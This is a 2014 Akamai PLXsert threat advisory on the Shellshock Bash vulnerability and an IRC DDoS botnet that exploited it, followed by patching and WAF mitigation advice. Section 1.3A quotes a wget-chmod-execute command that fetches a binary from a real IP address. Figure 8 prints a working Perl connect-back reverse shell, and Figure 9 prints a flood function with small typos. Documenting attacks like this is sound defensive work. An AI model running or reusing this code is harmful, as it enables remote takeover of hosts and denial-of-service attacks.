1.1 OVERVIEW / Shellshock, a recently disclosed critical vulnerability in GNU Bash (Bourne Again Shell) UNIX command-line interpreter versions, reportedly from version 1.03 through 4.3, presents a flaw where specially-crafted environment variables can allow malicious actors to bypass restrictions, execute code remotely and compromise hosts. Several patches have been issued for the Bash bug since the vulnerability was disclosed. However, these patches failed to address the flaw in its entirety, leading to the release of additional patches.

Vulnerable machines are at risk of being used to infect others, launch DDoS attacks, share confidential data and run programs on behalf of the attacker.

Following the vulnerability disclosure, several proofs of concept (POCs) were published and subsequently weaponized. Reports indicate the ongoing compromise of vulnerable hosts for use in a distributed denial of service (DDoS) botnet.

Recently, the Akamai infrastructure was tested by a DDoS Internet relay chat (IRC) botnet built by exploiting this vulnerability. This threat advisory provides PLXsert’s analysis of the Shellshock Bash vulnerability and a DDoS botnet-building operation that is using it.

1.2 INDICATORS / Most Linux-based systems, Mac OS X, and Cygwin (a Unix-like environment and command-line interface for Microsoft Windows) are vulnerable to compromise. The CPE (Common Platform Enumeration) of the vulnerable Bash versions are listed in Figure 1:

![Figure 1: A list of the vulnerable bash versions](image)

Figure 2 and Figure 3 show a proof of concept of exploitation of this vulnerability, locally and remotely, respectively. No authentication is necessary to exploit this vulnerability remotely.
1.2A Malicious Actors Targeted Akamai's Infrastructure / Akamai’s cloud security intelligence team (CSI) measured the impact of the botnet-building activity on the Akamai infrastructure, collecting an initial list of 22,487 unique attacking IP addresses; of these, 156 were HTTP proxies. The majority of the IP addresses were from the United States, followed by Germany, Great Britain, the Netherlands and Japan, as shown in Figure 4.
The initial measurement also provided a list of the domains targeted by botnet builders in the initial phase of exploitation. They are shown by industry segment in Figure 5. The botnet-building exploitation attempts were focused on online gaming, followed by consumer electronics, online email marketing, travel, online advertising, media streaming and government.

1.3 BINARY PAYLOADS / Malicious actors are using the Bash bug vulnerability to download and execute payloads on victim machines. These payloads include executable files and script files written in languages such as Perl, Python or PHP. The dropped files are capable of launching DDoS attacks, exfiltrating sensitive information, and moving laterally across internal networks. In addition, malicious attackers have implemented backdoor functionality to gain unrestricted access to victim machines.

PLXsert outlines some of the payloads below with a focus on the DDoS botnet-building capabilities exhibited by the dropped agents.

1.3A BASH BUG PAYLOADS IN THE WILD/ The Bash bug vulnerability is being used to
In this code, malicious actors chain commands to download a remote binary `wget -O /tmp/besh.http://162.253.66.76/nginx`, attempt to modify its permissions using the `chmod` command `chmod.777` and then execute the malicious binary `/tmp/besh`.

The `nginx` binary was one of the first payloads found in the wild that uses an IRC command and control (CC, C2) infrastructure. Attackers propagated this infection via the Bash bug vulnerability.

The C2 for the `nginx` binary was quickly taken down but soon binaries with modified C2 server IP addresses surfaced. Figure 7 shows a binary payload attempting to create a socket connection to its C2 server’s IP address.

![Figure 7: The binary payload attempting outbound connections to its Command and Control](image)

In addition to binary payloads, PLXsert researchers have observed the execution of reverse shell scripts and other DDoS-enabled IRC Perl bot scripts utilizing the same techniques to drop executable files to create backdoor access. The script in Figure 8 exhibits several features that indicate actors are attempting to build botnets via compromised hosts.

```
$system = '/bin/sh';
$ARGC=$ARGV;
print "=== ConnectBack Backdoor Shell vs 1.0 by o0xxdark0o === \n\n";

$host = '94.242.198.65';
$port = 81;
  print "Usage: $0 [Host] [Port] \n\n";
# die "Ex: $0 127.0.0.1 2121 \n"
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($port, inet_aton($host))) or die print "[-] Unable to Connect Host\n";
print "[*] Resolving HostName\n";
print "[*] Connecting... $ARGV[0] \n";
print "[*] Spawning Shell \n";
print "[*] Connected to remote host \n";
SOCKET->autoFlush();
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
print "=== ConnectBack Backdoor vs 1.0 by o0xxdark0o === \n\n";
system("unset HISTFILE; unset SAVEHIST ;echo ----Systeminfo=-- ; uname -a;echo; echo --Userinfo=-- ; id;echo;echo --Directory=-- ; pwd;echo; echo --Shell=-- - ");
system($system);

Figure 8: A code snippet of a backdoor Perl script
```
1.3B TYPES OF DDOS ATTACKS / The Perl scripts also exhibit DDoS functions, specifically UDP and TCP payloads. The UDP flood consists of hardcoded As and attempts to flood target IPs on all ports from 1 to 65000. The UDP flood function consists of four flood payloads — IGMP, UDP, ICMP and TCP (SYN) — after which it attempt to perform a protocol flood, looping through all protocols from 3 to 255 (skipping protocol 6, which is TCP). Figure 9 shows this function and identifies the payloads.

```perl
sub udpflooder {
    my $iaddr = inet_aton($_[0]);
    my $msg = 'A' x $[1];
    my $time = $[2];
    my $cp = 0;
    my ($pacotes);
    $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;

    socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
    socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
    socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
    socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
    return(undef) if $cp == 4;
    my $time = time;
    my ($cur_time, $pacotes);
    while (1) {
        for (my $porta = 1; $porta <= 65000; $porta++) |
            $cur_time = time - $time;
            last if $cur_time >= $ftime;
            send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
            send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
            send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
            send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
        for (my $pc = 3; $pc <= 255; $pc++) {
            next if $pc == 6;
            $cur_time = time - $time;
            last if $cur_time >= $ftime;
            socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
            send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
        }
    last if $cur_time >= $ftime;
}
return($cur_time, $pacotes);
}
```

Figure 9: The UDP flood function of a dropped IRC bot Perl script
PLXservlet recorded an IRC botnet-building operation in action. Figure 10 shows a snippet of the IRC botnet operation.

![IRC Botnet Building Operation Snippet](image)

The IRC botnet reached a peak number of 695 bots. Channels #p and #x were used to issue commands, and new bots were requested to join channel #new.
Figure 11 shows a lab simulation of the DDoS payloads executed by the Perl IRC bot script, which is capable of executing IGMP, ICMP, UDP and TCP flood payloads, and subsequently a protocol flood.

Malicious actors are taking advantage of the Bash vulnerability to build and grow their botnets. The campaign is in the initial stages of probing and testing to footprint (identify) vulnerable victims.

System administrators are advised to take the threat seriously and patch UNIX and Linux systems promptly. The ease with which this bug can be exploited creates a situation where unpatched systems can be used easily to propagate the botnet’s reach and capacity. Most botnets observed have been controlled via IRC, but more sophisticated approaches may appear or be integrated into existing web-based panels.
1.4 VULNERABILITY MITIGATION / This vulnerability must be addressed on several fronts.

First and foremost is the outer surface layer; specifically, web applications that use the Common Gateway Interface (CGI) method to serve dynamic content.

1. Check internal and external web servers for this type of application and others that may potentially pass input to Bash. This vulnerability has also been exploited in OpenSSH (OpenBSD Secure Shell), a set of computer programs that provides encrypted communication sessions. With OpenSSH the vulnerability is exploited after authentication, which lowers the risk of exploitation but should still be considered high risk.

2. Update and patch vulnerable hosts as soon as possible. Some of the patches are insufficient; obtain and apply the latest patch from the operating system developer. If the Bash vulnerability is fixed, it will render remote exploitation attempts unsuccessful.

UNIX and Linux vendor patch information is available from the following sources:

- Novell packages [for GNU Bash through 4.3](https://www.novell.com/support/documentation/)
- Debian [security advisory and update](https://security.debian.org/)
- Ubuntu [security notice for Bash vulnerability](https://security.ubuntu.com/)
- CentOS [critical Bash updates](https://access.redhat.com/security/updates/CENTOS) for CentOS-5, CentOS-6, and CentOS-7 and [CentOS 6 Bash security update](https://access.redhat.com/security/updates/CENTOS)
- An [emergency patch](https://github.com/Akamai/bash) from Akamai makes function forwarding conditional on the compile-time switch FUNCTION_EXPORT.
Additional recommendations include:

- Mobile phones, embedded devices and desktops, laptops and servers may be targeted. There are reports of DHCP exploitation vectors that target UNIX and Linux-based operating systems on these devices. System administrators should push and enforce patches of these devices.

- Upgrade to a new version of Bash, replacing Bash with an alternate shell, limit access to vulnerable services, or filter inputs to vulnerable services.

- Evaluate SSH server users to identify who has access to critical systems and remove non-administrative users until the systems are patched.

The following Akamai Web Application Firewall (WAF) protections assist customers of Kona Web Application Firewall and Kona Site Defender services: 21

- All customers of Akamai’s web acceleration services (Ion, Dynamic Site Accelerator, EdgeSuite, Object Delivery and similar) are protected against some variants of the attack through HTTP normalization. This includes coverage against attack payloads in the HTTP host header value, HTTP version, HTTP method and any payload that violates the HTTP RFC, which will be silently discarded by the Akamai Platform.

- Use of Akamai Site Shield removes the ability of an attacker to connect directly to a web server, further enhancing the HTTP normalization protection.

- The new Kona rule set protects against some attack variants when enabled with the Command Injection risk-scoring group, which was recently extended to provide more comprehensive coverage by incorporating specific rule triggers for this vulnerability.

- Akamai offers a dedicated WAF rule to provide a targeted defense against this vulnerability. The WAF rule filters Shellshock attack signatures in HTTP request headers, query parameters or the body. It can be implemented to cover both headers and query strings for maximum safety or headers only in the event that query strings generate too many false positives. The custom rule is available through Akamai’s portal. Customers who want to have professional services implement this rule for them should contact their account team.

---

1.5 DDOS MITIGATION / The DDoS UDP and TCP flood can be mitigated with ACL rules.

1.6 CONCLUSION / Initial data of vulnerability exploitation and botnet building based on CVE-2014-6271, CVE-2014-7169, CVE-2014-6277, CVE-2014-6278, CVE-2014-7186 and CVE-2014-7187 indicates the beginning of a much larger exploitation phase to ensue while defenders try to patch and update systems with the added complication of insufficient patches.

It is likely that DDoS campaigns are imminent due to the initial flaws in patches, delays in the development of effective patches by operating system developers, and the time-consuming process of patching very large number of systems. PLXsert anticipates further weaponization and development of customized DDoS payloads as malicious actors take advantage of the time lapse involved in patching vulnerable systems. PLXsert will continue researching these threats and publish advisory updates should it be warranted.
The Prolexic Security Engineering and Research Team (PLXsert) monitors malicious cyber threats globally and analyzes these attacks using proprietary techniques and equipment. Through research, digital forensics and post-event analysis, PLXsert is able to build a global view of security threats, vulnerabilities and trends, which is shared with customers and the security community. By identifying the sources and associated attributes of individual attacks, along with best practices to identify and mitigate security threats and vulnerabilities, PLXsert helps organizations make more informed, proactive decisions.

Akamai® is a leading provider of cloud services for delivering, optimizing and securing online content and business applications. At the core of the company’s solutions is the Akamai Intelligent Platform™ providing extensive reach, coupled with unmatched reliability, security, visibility and expertise. Akamai removes the complexities of connecting the increasingly mobile world, supporting 24/7 consumer demand, and enabling enterprises to securely leverage the cloud. To learn more about how Akamai is accelerating the pace of innovation in a hyperconnected world, please visit www.akamai.com or blogs.akamai.com, and follow @Akamai on Twitter.

Akamai is headquartered in Cambridge, Massachusetts in the United States with operations in more than 40 offices around the world. Our services and renowned customer care enable businesses to provide an unparalleled Internet experience for their customers worldwide. Addresses, phone numbers and contact information for all locations are listed on www.akamai.com/locations

©2014 Akamai Technologies, Inc. All Rights Reserved. Reproduction in whole or in part in any form or medium without express written permission is prohibited. Akamai and the Akamai wave logo are registered trademarks. Other trademarks contained herein are the property of their respective owners. Akamai believes that the information in this publication is accurate as of its publication date; such information is subject to change without notice. Published 10/14.